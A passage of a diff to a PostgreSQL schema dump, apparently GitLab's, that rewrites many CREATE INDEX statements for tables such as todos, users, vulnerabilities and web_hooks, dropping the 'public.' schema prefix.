+CREATE INDEX index_timelogs_on_note_id ON timelogs USING btree (note_id);
-CREATE UNIQUE INDEX index_sprints_on_project_id_and_iid ON public.sprints USING btree (project_id, iid);
+CREATE INDEX index_timelogs_on_spent_at ON timelogs USING btree (spent_at) WHERE (spent_at IS NOT NULL);
-CREATE UNIQUE INDEX index_sprints_on_project_id_and_title ON public.sprints USING btree (project_id, title) WHERE (project_id IS NOT NULL);
+CREATE INDEX index_timelogs_on_user_id ON timelogs USING btree (user_id);
-CREATE INDEX index_sprints_on_title ON public.sprints USING btree (title);
+CREATE INDEX index_todos_on_author_id ON todos USING btree (author_id);
-CREATE INDEX index_sprints_on_title_trigram ON public.sprints USING gin (title public.gin_trgm_ops);
+CREATE INDEX index_todos_on_author_id_and_created_at ON todos USING btree (author_id, created_at);
-CREATE UNIQUE INDEX index_status_page_published_incidents_on_issue_id ON public.status_page_published_incidents USING btree (issue_id);
+CREATE INDEX index_todos_on_commit_id ON todos USING btree (commit_id);
-CREATE INDEX index_status_page_settings_on_project_id ON public.status_page_settings USING btree (project_id);
+CREATE INDEX index_todos_on_group_id ON todos USING btree (group_id);
-CREATE INDEX index_subscriptions_on_project_id ON public.subscriptions USING btree (project_id);
+CREATE INDEX index_todos_on_note_id ON todos USING btree (note_id);
-CREATE UNIQUE INDEX index_subscriptions_on_subscribable_and_user_id_and_project_id ON public.subscriptions USING btree (subscribable_id, subscribable_type, user_id, project_id);
+CREATE INDEX index_todos_on_project_id ON todos USING btree (project_id);
-CREATE INDEX index_successful_deployments_on_cluster_id_and_environment_id ON public.deployments USING btree (cluster_id, environment_id) WHERE (status = 2);
+CREATE INDEX index_todos_on_target_type_and_target_id ON todos USING btree (target_type, target_id);
-CREATE UNIQUE INDEX index_suggestions_on_note_id_and_relative_order ON public.suggestions USING btree (note_id, relative_order);
+CREATE INDEX index_todos_on_user_id ON todos USING btree (user_id);
-CREATE UNIQUE INDEX index_system_note_metadata_on_description_version_id ON public.system_note_metadata USING btree (description_version_id) WHERE (description_version_id IS NOT NULL);
+CREATE INDEX index_todos_on_user_id_and_id_done ON todos USING btree (user_id, id) WHERE ((state)::text = 'done'::text);
-CREATE UNIQUE INDEX index_system_note_metadata_on_note_id ON public.system_note_metadata USING btree (note_id);
+CREATE INDEX index_todos_on_user_id_and_id_pending ON todos USING btree (user_id, id) WHERE ((state)::text = 'pending'::text);
-CREATE INDEX index_taggings_on_tag_id ON public.taggings USING btree (tag_id);
+CREATE UNIQUE INDEX index_trending_projects_on_project_id ON trending_projects USING btree (project_id);
-CREATE INDEX index_taggings_on_taggable_id_and_taggable_type ON public.taggings USING btree (taggable_id, taggable_type);
+CREATE INDEX index_u2f_registrations_on_key_handle ON u2f_registrations USING btree (key_handle);
-CREATE INDEX index_taggings_on_taggable_id_and_taggable_type_and_context ON public.taggings USING btree (taggable_id, taggable_type, context);
+CREATE INDEX index_u2f_registrations_on_user_id ON u2f_registrations USING btree (user_id);
-CREATE UNIQUE INDEX index_tags_on_name ON public.tags USING btree (name);
+CREATE INDEX index_uploads_on_checksum ON uploads USING btree (checksum);
-CREATE INDEX index_tags_on_name_trigram ON public.tags USING gin (name public.gin_trgm_ops);
+CREATE INDEX index_uploads_on_model_id_and_model_type ON uploads USING btree (model_id, model_type);
-CREATE INDEX index_term_agreements_on_term_id ON public.term_agreements USING btree (term_id);
+CREATE INDEX index_uploads_on_store ON uploads USING btree (store);
-CREATE INDEX index_term_agreements_on_user_id ON public.term_agreements USING btree (user_id);
+CREATE INDEX index_uploads_on_uploader_and_path ON uploads USING btree (uploader, path);
-CREATE INDEX index_terraform_states_on_file_store ON public.terraform_states USING btree (file_store);
+CREATE INDEX index_user_agent_details_on_subject_id_and_subject_type ON user_agent_details USING btree (subject_id, subject_type);
-CREATE INDEX index_terraform_states_on_locked_by_user_id ON public.terraform_states USING btree (locked_by_user_id);
+CREATE INDEX index_user_callouts_on_user_id ON user_callouts USING btree (user_id);
-CREATE UNIQUE INDEX index_terraform_states_on_project_id_and_name ON public.terraform_states USING btree (project_id, name);
+CREATE UNIQUE INDEX index_user_callouts_on_user_id_and_feature_name ON user_callouts USING btree (user_id, feature_name);
-CREATE UNIQUE INDEX index_terraform_states_on_uuid ON public.terraform_states USING btree (uuid);
+CREATE INDEX index_user_canonical_emails_on_canonical_email ON user_canonical_emails USING btree (canonical_email);
-CREATE INDEX index_timelogs_on_issue_id ON public.timelogs USING btree (issue_id);
+CREATE UNIQUE INDEX index_user_canonical_emails_on_user_id ON user_canonical_emails USING btree (user_id);
-CREATE INDEX index_timelogs_on_merge_request_id ON public.timelogs USING btree (merge_request_id);
+CREATE UNIQUE INDEX index_user_canonical_emails_on_user_id_and_canonical_email ON user_canonical_emails USING btree (user_id, canonical_email);
-CREATE INDEX index_timelogs_on_note_id ON public.timelogs USING btree (note_id);
+CREATE INDEX index_user_custom_attributes_on_key_and_value ON user_custom_attributes USING btree (key, value);
-CREATE INDEX index_timelogs_on_spent_at ON public.timelogs USING btree (spent_at) WHERE (spent_at IS NOT NULL);
+CREATE UNIQUE INDEX index_user_custom_attributes_on_user_id_and_key ON user_custom_attributes USING btree (user_id, key);
-CREATE INDEX index_timelogs_on_user_id ON public.timelogs USING btree (user_id);
+CREATE UNIQUE INDEX index_user_details_on_user_id ON user_details USING btree (user_id);
-CREATE INDEX index_todos_on_author_id ON public.todos USING btree (author_id);
+CREATE INDEX index_user_highest_roles_on_user_id_and_highest_access_level ON user_highest_roles USING btree (user_id, highest_access_level);
-CREATE INDEX index_todos_on_author_id_and_created_at ON public.todos USING btree (author_id, created_at);
+CREATE UNIQUE INDEX index_user_interacted_projects_on_project_id_and_user_id ON user_interacted_projects USING btree (project_id, user_id);
-CREATE INDEX index_todos_on_commit_id ON public.todos USING btree (commit_id);
+CREATE INDEX index_user_interacted_projects_on_user_id ON user_interacted_projects USING btree (user_id);
-CREATE INDEX index_todos_on_group_id ON public.todos USING btree (group_id);
+CREATE UNIQUE INDEX index_user_preferences_on_user_id ON user_preferences USING btree (user_id);
-CREATE INDEX index_todos_on_note_id ON public.todos USING btree (note_id);
+CREATE INDEX index_user_statuses_on_user_id ON user_statuses USING btree (user_id);
-CREATE INDEX index_todos_on_project_id ON public.todos USING btree (project_id);
+CREATE UNIQUE INDEX index_user_synced_attributes_metadata_on_user_id ON user_synced_attributes_metadata USING btree (user_id);
-CREATE INDEX index_todos_on_target_type_and_target_id ON public.todos USING btree (target_type, target_id);
+CREATE INDEX index_users_on_accepted_term_id ON users USING btree (accepted_term_id);
-CREATE INDEX index_todos_on_user_id ON public.todos USING btree (user_id);
+CREATE INDEX index_users_on_admin ON users USING btree (admin);
-CREATE INDEX index_todos_on_user_id_and_id_done ON public.todos USING btree (user_id, id) WHERE ((state)::text = 'done'::text);
+CREATE UNIQUE INDEX index_users_on_confirmation_token ON users USING btree (confirmation_token);
-CREATE INDEX index_todos_on_user_id_and_id_pending ON public.todos USING btree (user_id, id) WHERE ((state)::text = 'pending'::text);
+CREATE INDEX index_users_on_created_at ON users USING btree (created_at);
-CREATE UNIQUE INDEX index_trending_projects_on_project_id ON public.trending_projects USING btree (project_id);
+CREATE UNIQUE INDEX index_users_on_email ON users USING btree (email);
-CREATE INDEX index_u2f_registrations_on_key_handle ON public.u2f_registrations USING btree (key_handle);
+CREATE INDEX index_users_on_email_trigram ON users USING gin (email gin_trgm_ops);
-CREATE INDEX index_u2f_registrations_on_user_id ON public.u2f_registrations USING btree (user_id);
+CREATE INDEX index_users_on_feed_token ON users USING btree (feed_token);
-CREATE INDEX index_uploads_on_checksum ON public.uploads USING btree (checksum);
+CREATE INDEX index_users_on_group_view ON users USING btree (group_view);
-CREATE INDEX index_uploads_on_model_id_and_model_type ON public.uploads USING btree (model_id, model_type);
+CREATE INDEX index_users_on_incoming_email_token ON users USING btree (incoming_email_token);
-CREATE INDEX index_uploads_on_store ON public.uploads USING btree (store);
+CREATE INDEX index_users_on_managing_group_id ON users USING btree (managing_group_id);
-CREATE INDEX index_uploads_on_uploader_and_path ON public.uploads USING btree (uploader, path);
+CREATE INDEX index_users_on_name ON users USING btree (name);
-CREATE INDEX index_user_agent_details_on_subject_id_and_subject_type ON public.user_agent_details USING btree (subject_id, subject_type);
+CREATE INDEX index_users_on_name_trigram ON users USING gin (name gin_trgm_ops);
-CREATE INDEX index_user_callouts_on_user_id ON public.user_callouts USING btree (user_id);
+CREATE INDEX index_users_on_public_email ON users USING btree (public_email) WHERE ((public_email)::text <> ''::text);
-CREATE UNIQUE INDEX index_user_callouts_on_user_id_and_feature_name ON public.user_callouts USING btree (user_id, feature_name);
+CREATE UNIQUE INDEX index_users_on_reset_password_token ON users USING btree (reset_password_token);
-CREATE INDEX index_user_canonical_emails_on_canonical_email ON public.user_canonical_emails USING btree (canonical_email);
+CREATE INDEX index_users_on_state ON users USING btree (state);
-CREATE UNIQUE INDEX index_user_canonical_emails_on_user_id ON public.user_canonical_emails USING btree (user_id);
+CREATE INDEX index_users_on_state_and_user_type ON users USING btree (state, user_type);
-CREATE UNIQUE INDEX index_user_canonical_emails_on_user_id_and_canonical_email ON public.user_canonical_emails USING btree (user_id, canonical_email);
+CREATE UNIQUE INDEX index_users_on_static_object_token ON users USING btree (static_object_token);
-CREATE INDEX index_user_custom_attributes_on_key_and_value ON public.user_custom_attributes USING btree (key, value);
+CREATE INDEX index_users_on_unconfirmed_email ON users USING btree (unconfirmed_email) WHERE (unconfirmed_email IS NOT NULL);
-CREATE UNIQUE INDEX index_user_custom_attributes_on_user_id_and_key ON public.user_custom_attributes USING btree (user_id, key);
+CREATE UNIQUE INDEX index_users_on_unlock_token ON users USING btree (unlock_token);
-CREATE UNIQUE INDEX index_user_details_on_user_id ON public.user_details USING btree (user_id);
+CREATE INDEX index_users_on_user_type ON users USING btree (user_type);
-CREATE INDEX index_user_highest_roles_on_user_id_and_highest_access_level ON public.user_highest_roles USING btree (user_id, highest_access_level);
+CREATE INDEX index_users_on_username ON users USING btree (username);
-CREATE UNIQUE INDEX index_user_interacted_projects_on_project_id_and_user_id ON public.user_interacted_projects USING btree (project_id, user_id);
+CREATE INDEX index_users_on_username_trigram ON users USING gin (username gin_trgm_ops);
-CREATE INDEX index_user_interacted_projects_on_user_id ON public.user_interacted_projects USING btree (user_id);
+CREATE INDEX index_users_ops_dashboard_projects_on_project_id ON users_ops_dashboard_projects USING btree (project_id);
-CREATE UNIQUE INDEX index_user_preferences_on_user_id ON public.user_preferences USING btree (user_id);
+CREATE UNIQUE INDEX index_users_ops_dashboard_projects_on_user_id_and_project_id ON users_ops_dashboard_projects USING btree (user_id, project_id);
-CREATE INDEX index_user_statuses_on_user_id ON public.user_statuses USING btree (user_id);
+CREATE INDEX index_users_security_dashboard_projects_on_user_id ON users_security_dashboard_projects USING btree (user_id);
-CREATE UNIQUE INDEX index_user_synced_attributes_metadata_on_user_id ON public.user_synced_attributes_metadata USING btree (user_id);
+CREATE INDEX index_users_star_projects_on_project_id ON users_star_projects USING btree (project_id);
-CREATE INDEX index_users_on_accepted_term_id ON public.users USING btree (accepted_term_id);
+CREATE UNIQUE INDEX index_users_star_projects_on_user_id_and_project_id ON users_star_projects USING btree (user_id, project_id);
-CREATE INDEX index_users_on_admin ON public.users USING btree (admin);
+CREATE UNIQUE INDEX index_vuln_historical_statistics_on_project_id_and_date ON vulnerability_historical_statistics USING btree (project_id, date);
-CREATE UNIQUE INDEX index_users_on_confirmation_token ON public.users USING btree (confirmation_token);
+CREATE INDEX index_vulnerabilities_on_author_id ON vulnerabilities USING btree (author_id);
-CREATE INDEX index_users_on_created_at ON public.users USING btree (created_at);
+CREATE INDEX index_vulnerabilities_on_confirmed_by_id ON vulnerabilities USING btree (confirmed_by_id);
-CREATE UNIQUE INDEX index_users_on_email ON public.users USING btree (email);
+CREATE INDEX index_vulnerabilities_on_dismissed_by_id ON vulnerabilities USING btree (dismissed_by_id);
-CREATE INDEX index_users_on_email_trigram ON public.users USING gin (email public.gin_trgm_ops);
+CREATE INDEX index_vulnerabilities_on_due_date_sourcing_milestone_id ON vulnerabilities USING btree (due_date_sourcing_milestone_id);
-CREATE INDEX index_users_on_feed_token ON public.users USING btree (feed_token);
+CREATE INDEX index_vulnerabilities_on_epic_id ON vulnerabilities USING btree (epic_id);
-CREATE INDEX index_users_on_group_view ON public.users USING btree (group_view);
+CREATE INDEX index_vulnerabilities_on_last_edited_by_id ON vulnerabilities USING btree (last_edited_by_id);
-CREATE INDEX index_users_on_incoming_email_token ON public.users USING btree (incoming_email_token);
+CREATE INDEX index_vulnerabilities_on_milestone_id ON vulnerabilities USING btree (milestone_id);
-CREATE INDEX index_users_on_managing_group_id ON public.users USING btree (managing_group_id);
+CREATE INDEX index_vulnerabilities_on_project_id ON vulnerabilities USING btree (project_id);
-CREATE INDEX index_users_on_name ON public.users USING btree (name);
+CREATE INDEX index_vulnerabilities_on_project_id_and_id ON vulnerabilities USING btree (project_id, id);
-CREATE INDEX index_users_on_name_trigram ON public.users USING gin (name public.gin_trgm_ops);
+CREATE INDEX index_vulnerabilities_on_resolved_by_id ON vulnerabilities USING btree (resolved_by_id);
-CREATE INDEX index_users_on_public_email ON public.users USING btree (public_email) WHERE ((public_email)::text <> ''::text);
+CREATE INDEX index_vulnerabilities_on_start_date_sourcing_milestone_id ON vulnerabilities USING btree (start_date_sourcing_milestone_id);
-CREATE UNIQUE INDEX index_users_on_reset_password_token ON public.users USING btree (reset_password_token);
+CREATE INDEX index_vulnerabilities_on_updated_by_id ON vulnerabilities USING btree (updated_by_id);
-CREATE INDEX index_users_on_state ON public.users USING btree (state);
+CREATE INDEX index_vulnerability_exports_on_author_id ON vulnerability_exports USING btree (author_id);
-CREATE INDEX index_users_on_state_and_user_type ON public.users USING btree (state, user_type);
+CREATE INDEX index_vulnerability_exports_on_file_store ON vulnerability_exports USING btree (file_store);
-CREATE UNIQUE INDEX index_users_on_static_object_token ON public.users USING btree (static_object_token);
+CREATE INDEX index_vulnerability_exports_on_group_id_not_null ON vulnerability_exports USING btree (group_id) WHERE (group_id IS NOT NULL);
-CREATE INDEX index_users_on_unconfirmed_email ON public.users USING btree (unconfirmed_email) WHERE (unconfirmed_email IS NOT NULL);
+CREATE INDEX index_vulnerability_exports_on_project_id_not_null ON vulnerability_exports USING btree (project_id) WHERE (project_id IS NOT NULL);
-CREATE UNIQUE INDEX index_users_on_unlock_token ON public.users USING btree (unlock_token);
+CREATE INDEX index_vulnerability_feedback_on_author_id ON vulnerability_feedback USING btree (author_id);
-CREATE INDEX index_users_on_user_type ON public.users USING btree (user_type);
+CREATE INDEX index_vulnerability_feedback_on_comment_author_id ON vulnerability_feedback USING btree (comment_author_id);
-CREATE INDEX index_users_on_username ON public.users USING btree (username);
+CREATE INDEX index_vulnerability_feedback_on_issue_id ON vulnerability_feedback USING btree (issue_id);
-CREATE INDEX index_users_on_username_trigram ON public.users USING gin (username public.gin_trgm_ops);
+CREATE INDEX index_vulnerability_feedback_on_issue_id_not_null ON vulnerability_feedback USING btree (id) WHERE (issue_id IS NOT NULL);
-CREATE INDEX index_users_ops_dashboard_projects_on_project_id ON public.users_ops_dashboard_projects USING btree (project_id);
+CREATE INDEX index_vulnerability_feedback_on_merge_request_id ON vulnerability_feedback USING btree (merge_request_id);
-CREATE UNIQUE INDEX index_users_ops_dashboard_projects_on_user_id_and_project_id ON public.users_ops_dashboard_projects USING btree (user_id, project_id);
+CREATE INDEX index_vulnerability_feedback_on_pipeline_id ON vulnerability_feedback USING btree (pipeline_id);
-CREATE INDEX index_users_security_dashboard_projects_on_user_id ON public.users_security_dashboard_projects USING btree (user_id);
+CREATE INDEX index_vulnerability_historical_statistics_on_date_and_id ON vulnerability_historical_statistics USING btree (date, id);
-CREATE INDEX index_users_star_projects_on_project_id ON public.users_star_projects USING btree (project_id);
+CREATE UNIQUE INDEX index_vulnerability_identifiers_on_project_id_and_fingerprint ON vulnerability_identifiers USING btree (project_id, fingerprint);
-CREATE UNIQUE INDEX index_users_star_projects_on_user_id_and_project_id ON public.users_star_projects USING btree (user_id, project_id);
+CREATE INDEX index_vulnerability_issue_links_on_issue_id ON vulnerability_issue_links USING btree (issue_id);
-CREATE UNIQUE INDEX index_vuln_historical_statistics_on_project_id_and_date ON public.vulnerability_historical_statistics USING btree (project_id, date);
+CREATE INDEX index_vulnerability_occurrence_identifiers_on_identifier_id ON vulnerability_occurrence_identifiers USING btree (identifier_id);
-CREATE INDEX index_vulnerabilities_on_author_id ON public.vulnerabilities USING btree (author_id);
+CREATE UNIQUE INDEX index_vulnerability_occurrence_identifiers_on_unique_keys ON vulnerability_occurrence_identifiers USING btree (occurrence_id, identifier_id);
-CREATE INDEX index_vulnerabilities_on_confirmed_by_id ON public.vulnerabilities USING btree (confirmed_by_id);
+CREATE INDEX index_vulnerability_occurrence_pipelines_on_pipeline_id ON vulnerability_occurrence_pipelines USING btree (pipeline_id);
-CREATE INDEX index_vulnerabilities_on_dismissed_by_id ON public.vulnerabilities USING btree (dismissed_by_id);
+CREATE INDEX index_vulnerability_occurrences_for_issue_links_migration ON vulnerability_occurrences USING btree (project_id, report_type, encode(project_fingerprint, 'hex'::text));
-CREATE INDEX index_vulnerabilities_on_due_date_sourcing_milestone_id ON public.vulnerabilities USING btree (due_date_sourcing_milestone_id);
+CREATE INDEX index_vulnerability_occurrences_on_primary_identifier_id ON vulnerability_occurrences USING btree (primary_identifier_id);
-CREATE INDEX index_vulnerabilities_on_epic_id ON public.vulnerabilities USING btree (epic_id);
+CREATE INDEX index_vulnerability_occurrences_on_scanner_id ON vulnerability_occurrences USING btree (scanner_id);
-CREATE INDEX index_vulnerabilities_on_last_edited_by_id ON public.vulnerabilities USING btree (last_edited_by_id);
+CREATE UNIQUE INDEX index_vulnerability_occurrences_on_unique_keys ON vulnerability_occurrences USING btree (project_id, primary_identifier_id, location_fingerprint, scanner_id);
-CREATE INDEX index_vulnerabilities_on_milestone_id ON public.vulnerabilities USING btree (milestone_id);
+CREATE UNIQUE INDEX index_vulnerability_occurrences_on_uuid ON vulnerability_occurrences USING btree (uuid);
-CREATE INDEX index_vulnerabilities_on_project_id ON public.vulnerabilities USING btree (project_id);
+CREATE INDEX index_vulnerability_occurrences_on_vulnerability_id ON vulnerability_occurrences USING btree (vulnerability_id);
-CREATE INDEX index_vulnerabilities_on_resolved_by_id ON public.vulnerabilities USING btree (resolved_by_id);
+CREATE UNIQUE INDEX index_vulnerability_scanners_on_project_id_and_external_id ON vulnerability_scanners USING btree (project_id, external_id);
-CREATE INDEX index_vulnerabilities_on_start_date_sourcing_milestone_id ON public.vulnerabilities USING btree (start_date_sourcing_milestone_id);
+CREATE INDEX index_vulnerability_statistics_on_letter_grade ON vulnerability_statistics USING btree (letter_grade);
-CREATE INDEX index_vulnerabilities_on_updated_by_id ON public.vulnerabilities USING btree (updated_by_id);
+CREATE UNIQUE INDEX index_vulnerability_statistics_on_unique_project_id ON vulnerability_statistics USING btree (project_id);
-CREATE INDEX index_vulnerability_exports_on_author_id ON public.vulnerability_exports USING btree (author_id);
+CREATE UNIQUE INDEX index_vulnerability_user_mentions_on_note_id ON vulnerability_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
-CREATE INDEX index_vulnerability_exports_on_file_store ON public.vulnerability_exports USING btree (file_store);
+CREATE UNIQUE INDEX index_vulns_user_mentions_on_vulnerability_id ON vulnerability_user_mentions USING btree (vulnerability_id) WHERE (note_id IS NULL);
-CREATE INDEX index_vulnerability_exports_on_group_id_not_null ON public.vulnerability_exports USING btree (group_id) WHERE (group_id IS NOT NULL);
+CREATE UNIQUE INDEX index_vulns_user_mentions_on_vulnerability_id_and_note_id ON vulnerability_user_mentions USING btree (vulnerability_id, note_id);
-CREATE INDEX index_vulnerability_exports_on_project_id_not_null ON public.vulnerability_exports USING btree (project_id) WHERE (project_id IS NOT NULL);
+CREATE INDEX index_web_hook_logs_on_created_at_and_web_hook_id ON web_hook_logs USING btree (created_at, web_hook_id);
-CREATE INDEX index_vulnerability_feedback_on_author_id ON public.vulnerability_feedback USING btree (author_id);
+CREATE INDEX index_web_hook_logs_on_web_hook_id ON web_hook_logs USING btree (web_hook_id);
-CREATE INDEX index_vulnerability_feedback_on_comment_author_id ON public.vulnerability_feedback USING btree (comment_author_id);
+CREATE INDEX index_web_hooks_on_group_id ON web_hooks USING btree (group_id) WHERE ((type)::text = 'GroupHook'::text);
-CREATE INDEX index_vulnerability_feedback_on_issue_id ON public.vulnerability_feedback USING btree (issue_id);
+CREATE INDEX index_web_hooks_on_project_id ON web_hooks USING btree (project_id);
-CREATE INDEX index_vulnerability_feedback_on_merge_request_id ON public.vulnerability_feedback USING btree (merge_request_id);
+CREATE INDEX index_web_hooks_on_type ON web_hooks USING btree (type);
-CREATE INDEX index_vulnerability_feedback_on_pipeline_id ON public.vulnerability_feedback USING btree (pipeline_id);
+CREATE UNIQUE INDEX index_webauthn_registrations_on_credential_xid ON webauthn_registrations USING btree (credential_xid);
-CREATE INDEX index_vulnerability_historical_statistics_on_date_and_id ON public.vulnerability_historical_statistics USING btree (date, id);
+CREATE INDEX index_webauthn_registrations_on_user_id ON webauthn_registrations USING btree (user_id);
-CREATE UNIQUE INDEX index_vulnerability_identifiers_on_project_id_and_fingerprint ON public.vulnerability_identifiers USING btree (project_id, fingerprint);
+CREATE INDEX index_wiki_page_meta_on_project_id ON wiki_page_meta USING btree (project_id);
-CREATE INDEX index_vulnerability_issue_links_on_issue_id ON public.vulnerability_issue_links USING btree (issue_id);
+CREATE UNIQUE INDEX index_wiki_page_slugs_on_slug_and_wiki_page_meta_id ON wiki_page_slugs USING btree (slug, wiki_page_meta_id);
-CREATE INDEX index_vulnerability_occurrence_identifiers_on_identifier_id ON public.vulnerability_occurrence_identifiers USING btree (identifier_id);
+CREATE INDEX index_wiki_page_slugs_on_wiki_page_meta_id ON wiki_page_slugs USING btree (wiki_page_meta_id);
-CREATE UNIQUE INDEX index_vulnerability_occurrence_identifiers_on_unique_keys ON public.vulnerability_occurrence_identifiers USING btree (occurrence_id, identifier_id);
+CREATE INDEX index_x509_certificates_on_subject_key_identifier ON x509_certificates USING btree (subject_key_identifier);
-CREATE INDEX index_vulnerability_occurrence_pipelines_on_pipeline_id ON public.vulnerability_occurrence_pipelines USING btree (pipeline_id);
+CREATE INDEX index_x509_certificates_on_x509_issuer_id ON x509_certificates USING btree (x509_issuer_id);
-CREATE INDEX index_vulnerability_occurrences_for_issue_links_migration ON public.vulnerability_occurrences USING btree (project_id, report_type, encode(project_fingerprint, 'hex'::text));
+CREATE INDEX index_x509_commit_signatures_on_commit_sha ON x509_commit_signatures USING btree (commit_sha);
-CREATE INDEX index_vulnerability_occurrences_on_primary_identifier_id ON public.vulnerability_occurrences USING btree (primary_identifier_id);
+CREATE INDEX index_x509_commit_signatures_on_project_id ON x509_commit_signatures USING btree (project_id);
-CREATE INDEX index_vulnerability_occurrences_on_scanner_id ON public.vulnerability_occurrences USING btree (scanner_id);
+CREATE INDEX index_x509_commit_signatures_on_x509_certificate_id ON x509_commit_signatures USING btree (x509_certificate_id);
-CREATE UNIQUE INDEX index_vulnerability_occurrences_on_unique_keys ON public.vulnerability_occurrences USING btree (project_id, primary_identifier_id, location_fingerprint, scanner_id);
+CREATE INDEX index_x509_issuers_on_subject_key_identifier ON x509_issuers USING btree (subject_key_identifier);
-CREATE UNIQUE INDEX index_vulnerability_occurrences_on_uuid ON public.vulnerability_occurrences USING btree (uuid);
+CREATE INDEX index_zoom_meetings_on_issue_id ON zoom_meetings USING btree (issue_id);
-CREATE INDEX index_vulnerability_occurrences_on_vulnerability_id ON public.vulnerability_occurrences USING btree (vulnerability_id);
+CREATE UNIQUE INDEX index_zoom_meetings_on_issue_id_and_issue_status ON zoom_meetings USING btree (issue_id, issue_status) WHERE (issue_status = 1);
-CREATE UNIQUE INDEX index_vulnerability_scanners_on_project_id_and_external_id ON public.vulnerability_scanners USING btree (project_id, external_id);
+CREATE INDEX index_zoom_meetings_on_issue_status ON zoom_meetings USING btree (issue_status);
-CREATE INDEX index_vulnerability_statistics_on_letter_grade ON public.vulnerability_statistics USING btree (letter_grade);
+CREATE INDEX index_zoom_meetings_on_project_id ON zoom_meetings USING btree (project_id);
-CREATE UNIQUE INDEX index_vulnerability_statistics_on_unique_project_id ON public.vulnerability_statistics USING btree (project_id);
+CREATE INDEX issue_id_issues_prometheus_alert_events_index ON issues_prometheus_alert_events USING btree (prometheus_alert_event_id);
-CREATE UNIQUE INDEX index_vulnerability_user_mentions_on_note_id ON public.vulnerability_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
+CREATE INDEX issue_id_issues_self_managed_rometheus_alert_events_index ON issues_self_managed_prometheus_alert_events USING btree (self_managed_prometheus_alert_event_id);
-CREATE UNIQUE INDEX index_vulns_user_mentions_on_vulnerability_id ON public.vulnerability_user_mentions USING btree (vulnerability_id) WHERE (note_id IS NULL);
+CREATE UNIQUE INDEX issue_id_prometheus_alert_event_id_index ON issues_prometheus_alert_events USING btree (issue_id, prometheus_alert_event_id);
-CREATE UNIQUE INDEX index_vulns_user_mentions_on_vulnerability_id_and_note_id ON public.vulnerability_user_mentions USING btree (vulnerability_id, note_id);
+CREATE UNIQUE INDEX issue_id_self_managed_prometheus_alert_event_id_index ON issues_self_managed_prometheus_alert_events USING btree (issue_id, self_managed_prometheus_alert_event_id);
-CREATE INDEX index_web_hook_logs_on_created_at_and_web_hook_id ON public.web_hook_logs USING btree (created_at, web_hook_id);
+CREATE UNIQUE INDEX issue_user_mentions_on_issue_id_and_note_id_index ON issue_user_mentions USING btree (issue_id, note_id);
-CREATE INDEX index_web_hook_logs_on_web_hook_id ON public.web_hook_logs USING btree (web_hook_id);
+CREATE UNIQUE INDEX issue_user_mentions_on_issue_id_index ON issue_user_mentions USING btree (issue_id) WHERE (note_id IS NULL);
-CREATE INDEX index_web_hooks_on_group_id ON public.web_hooks USING btree (group_id) WHERE ((type)::text = 'GroupHook'::text);
+CREATE UNIQUE INDEX kubernetes_namespaces_cluster_and_namespace ON clusters_kubernetes_namespaces USING btree (cluster_id, namespace);
-CREATE INDEX index_web_hooks_on_project_id ON public.web_hooks USING btree (project_id);
+CREATE INDEX merge_request_mentions_temp_index ON merge_requests USING btree (id) WHERE ((description ~~ '%@%'::text) OR ((title)::text ~~ '%@%'::text));
-CREATE INDEX index_web_hooks_on_type ON public.web_hooks USING btree (type);
+CREATE UNIQUE INDEX merge_request_user_mentions_on_mr_id_and_note_id_index ON merge_request_user_mentions USING btree (merge_request_id, note_id);
-CREATE UNIQUE INDEX index_webauthn_registrations_on_credential_xid ON public.webauthn_registrations USING btree (credential_xid);
+CREATE UNIQUE INDEX merge_request_user_mentions_on_mr_id_index ON merge_request_user_mentions USING btree (merge_request_id) WHERE (note_id IS NULL);
-CREATE INDEX index_webauthn_registrations_on_user_id ON public.webauthn_registrations USING btree (user_id);
+CREATE INDEX note_mentions_temp_index ON notes USING btree (id, noteable_type) WHERE (note ~~ '%@%'::text);
-CREATE INDEX index_wiki_page_meta_on_project_id ON public.wiki_page_meta USING btree (project_id);
+CREATE UNIQUE INDEX one_canonical_wiki_page_slug_per_metadata ON wiki_page_slugs USING btree (wiki_page_meta_id) WHERE (canonical = true);
-CREATE UNIQUE INDEX index_wiki_page_slugs_on_slug_and_wiki_page_meta_id ON public.wiki_page_slugs USING btree (slug, wiki_page_meta_id);
+CREATE INDEX package_name_index ON packages_packages USING btree (name);
-CREATE INDEX index_wiki_page_slugs_on_wiki_page_meta_id ON public.wiki_page_slugs USING btree (wiki_page_meta_id);
+CREATE INDEX packages_packages_verification_checksum_partial ON packages_package_files USING btree (verification_checksum) WHERE (verification_checksum IS NOT NULL);
-CREATE INDEX index_x509_certificates_on_subject_key_identifier ON public.x509_certificates USING btree (subject_key_identifier);
+CREATE INDEX packages_packages_verification_failure_partial ON packages_package_files USING btree (verification_failure) WHERE (verification_failure IS NOT NULL);
-CREATE INDEX index_x509_certificates_on_x509_issuer_id ON public.x509_certificates USING btree (x509_issuer_id);
+CREATE INDEX partial_index_ci_builds_on_scheduled_at_with_scheduled_jobs ON ci_builds USING btree (scheduled_at) WHERE ((scheduled_at IS NOT NULL) AND ((type)::text = 'Ci::Build'::text) AND ((status)::text = 'scheduled'::text));
-CREATE INDEX index_x509_commit_signatures_on_commit_sha ON public.x509_commit_signatures USING btree (commit_sha);
+CREATE INDEX partial_index_deployments_for_legacy_successful_deployments ON deployments USING btree (id) WHERE ((finished_at IS NULL) AND (status = 2));
-CREATE INDEX index_x509_commit_signatures_on_project_id ON public.x509_commit_signatures USING btree (project_id);
+CREATE INDEX partial_index_deployments_for_project_id_and_tag ON deployments USING btree (project_id) WHERE (tag IS TRUE);
-CREATE INDEX index_x509_commit_signatures_on_x509_certificate_id ON public.x509_commit_signatures USING btree (x509_certificate_id);
+CREATE INDEX snippet_repositories_verification_checksum_partial ON snippet_repositories USING btree (verification_checksum) WHERE (verification_checksum IS NOT NULL);
-CREATE INDEX index_x509_issuers_on_subject_key_identifier ON public.x509_issuers USING btree (subject_key_identifier);
+CREATE INDEX snippet_repositories_verification_failure_partial ON snippet_repositories USING btree (verification_failure) WHERE (verification_failure IS NOT NULL);
-CREATE INDEX index_zoom_meetings_on_issue_id ON public.zoom_meetings USING btree (issue_id);
+CREATE UNIQUE INDEX snippet_user_mentions_on_snippet_id_and_note_id_index ON snippet_user_mentions USING btree (snippet_id, note_id);
-CREATE UNIQUE INDEX index_zoom_meetings_on_issue_id_and_issue_status ON public.zoom_meetings USING btree (issue_id, issue_status) WHERE (issue_status = 1);
